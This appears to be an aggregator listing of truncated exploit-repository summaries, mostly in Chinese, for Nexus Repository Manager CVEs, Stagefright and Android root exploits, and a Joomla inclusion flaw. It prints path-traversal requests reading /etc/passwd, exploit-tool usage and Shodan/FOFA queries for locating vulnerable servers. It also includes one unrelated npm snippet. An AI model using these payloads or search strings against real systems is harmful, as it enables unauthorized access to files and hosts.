CVE-2024-4956-PoC

title="Nexus 仓库管理器" GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 Windows NT 5.1; rv:21.0 Gecko/20100101 Firefox/21.0Connection: closeAccept: /Accept-Language: enAccept-Encoding: gzip...

CVE-2019-5475-Nexus-Repository-Manager-

CVE-2019-5475-Nexus-Repository-Manager- Payload root@kitploit: PUT /nexus/service/siesta/capabilities/xxxxxxxxx HTTP/1.1 Host: xxxx.xxxx.com User-Agent: Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json Accept-Language:...

CVE-2019-7238

CVE-2019-7238 Nexus Repository Manager 3 无需认证的远程代码执行漏洞，影响版本 3.15.0，由 Rico 腾讯安全云鼎实验室和 @voidfyoo 发现 详细分析（英文）： https://chybeta.github.io/2019/02/18/Nexus-Repository-Manager-3-RCE-%E5%88%86%E6%9E%90-%E3%80%90CVE-2019-7238%E3%80%91/ 详细分析（非英文）： https://xz.aliyun.com/t/4136...

CVE-2024-4956

CVE-2024-4956 Nexus Repository Manager 3 未认证路径遍历...

CVE-2024-4956

CVE-2024-4956 该仓库包含一个用于自动化利用 CVE-2024-4956 的 Python 工具，能够从输入文件中批量测试文件路径，并自动将存在的文件路径内容保存到磁盘以供分析。漏洞详情可参见此处。 用法 root@kitploit: usage: cve-2024-4956.py -h -f FILE -p PROXY -u URL --test -r RELATIVEPATH CVE-2024-4956 Path Traversal Exploit Script options: -h, --help show this help message and exit -f...

Metaphor

Metaphor Metaphor - 带有ASLR绕过功能的Stagefright 作者：来自NorthBit有限公司的Hanan Be'er 白皮书链接： https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf Twitter： https://twitter.com/HighByte Metaphor的源代码现已发布！ 源代码包含一个PoC，可以实时生成MP4漏洞利用并绕过ASLR。 该PoC包含针对Nexus 5（搭载Android...

cve-2015-1538-1

附带的是一段Python脚本，用于生成利用‘stsc’漏洞（即CVE-2015-1538（1））的MP4文件。这是我在Stagefright库中报告的最关键的漏洞之一。此漏洞利用的预期结果是获得media用户权限下的反向shell。正如我在Black Hat和DEF CON演讲中详述的那样，该用户还拥有inet、audio、camera和mediadrm等多个组的访问权限。这些组允许攻击者在不利用额外漏洞的情况下远程拍照或监听麦克风。 该漏洞利用存在几个注意事项。首先，它并非通用利用代码，仅经测试可在单一设备型号上运行。我的目标是运行Android 4.0.4的Galaxy...

Joomla! Portfolio Nexus - Remote File Inclusion

Joomla! Portfolio Nexus 1.5 contains a remote file inclusion vulnerability in the inertialFATE iF comifnexus component that allows remote attackers to include and execute arbitrary local files via a .. dot dot in the controller parameter to index.php. id: CVE-2009-4679 info: name: Joomla! Portfol...

Nexus Repository 2 - Remote Code Execution

A Remote Code Execution vulnerability has been discovered in Sonatype Nexus Repository 2.This issue affects Nexus Repository 2 OSS/Pro versions up to and including 2.15.1. id: CVE-2024-5082 info: name: Nexus Repository 2 - Remote Code Execution author: iamnoooob,rootxharsh,pdresearch severity: hi...

Sonatype Nexus Repository Manager 3 - Local File Inclusion

Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1. id: CVE-2024-4956 info: name: Sonatype Nexus Repository Manager 3 - Local File Inclusion author: ritikchaddha severity: high description: | Path Traversal in Sonatype...

Sonatype Nexus Repository Manager 3 - Remote Code Execution

Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection id: CVE-2020-10199 info: name: Sonatype Nexus Repository Manager 3 - Remote Code Execution author: rootxharsh,iamnoooob,pdresearch severity: high description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection impact: |...

CVE-2020-10199-Nexus-3.21.01

CVE-2020-10199-Nexus-3.21.01 Sonatype Nexus 3.21.01 - 远程代码执行（已认证 - 更新版） 本版本基于 Alvaro Muñoz 的 49385 和 metasploit nexus 漏洞利用 https://www.exploit-db.com/exploits/49385 更改 user,password,URL 和 CMD...

CVE-2014-7911poc

CVE-2014-7911 针对 Nexus5 Android 4.4.4r1 的 CVE-2014-7911 POC，基于 retme7 和 auo，使用不同的 rop chain 信息 用法 启动此 poc，点击“CVE-2014-7911”按钮，你会看到由 system 用户在 /data 中创建的 pwn.txt：...

CVE-2020-11444

CVE-2020-11444 Nexus 3 越权漏洞利用脚本 更多脚本文件另参：https://github.com/zhzyker/exphub Readme root@kitploit: +-----------------------------------------------------------------------------------------------+ + DES: by zhzyker as https://github.com/zhzyker/exphub + + CVE-2020-11444 Nexus 3 Unauthorized Vuln...

insightsnexus

es-define-property Object.defineProperty, but not IE 8's broken one. Example root@kitploit: const assert = require'assert'; const $defineProperty = require'es-define-property'; if $defineProperty assert.equal$defineProperty, Object.defineProperty; else if Object.defineProperty...

CVE-2024-4956

CVE-2024-4956 - Nexus Repository Manager 3 中的未认证路径遍历漏洞 Nexus Repository Manager 是一个用于组织、存储和分发开发所需工件的仓库管理器。 在 3.68.1 之前的 Nexus Repository 3 版本中发现了一个路径遍历漏洞。该漏洞允许攻击者在不进行任何身份验证的情况下，构造 URL 下载 Nexus Repository 应用程序范围之外的系统文件。这带来了重大风险，因为它可能暴露敏感的系统文件，并可能危及安装了 Nexus Repository 的环境的安全性。 建议尽快将 Nexus Reposito...

CVE-2014-7911-CVE-2014-4322_get_root_privilege

CVE-2014-7911poc 适用于Nexus5 Android 4.4.4KTU8P的本地root利用程序 作者：andy 网站：https://blog.csdn.net/koozxcv 构建方法 将项目导入Eclipse并进行构建。 漏洞信息 http://seclists.org/fulldisclosure/2014/Nov/51 分析...

CVE-2019-7238

CVE-2019-7238 Nexus Repository Manager 远程代码执行 Nexus Repository Manager 3 无需身份验证的远程代码执行 版本 nexus root@kitploit: 关于命令回显： functionx, y, z, c, integer, defineClass c=1.class.forName'java.lang.Character'; integer=1.class;...

CVE-2024-4956

CVE-2024-4956 : Nexus Repository Manager 3 搜索语法： Shodan:http.html:"Nexus Repository" Hunter:product.name="Nexus Repository" FOFA:app="Nexus-Repository-Manager" Poc : root@kitploit: GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: localhost:8081...

CVE-2024-4956

CVE-2024-4956 - Path Traversal sin autenticación en Nexus Repository Manager 3 Nexus Repository Manager es un administrador de repositorios que organiza, almacena y distribuye artefactos necesarios para el desarrollo. Se ha descubierto una vulnerabilidad de path traversal en Nexus Repository 3, e...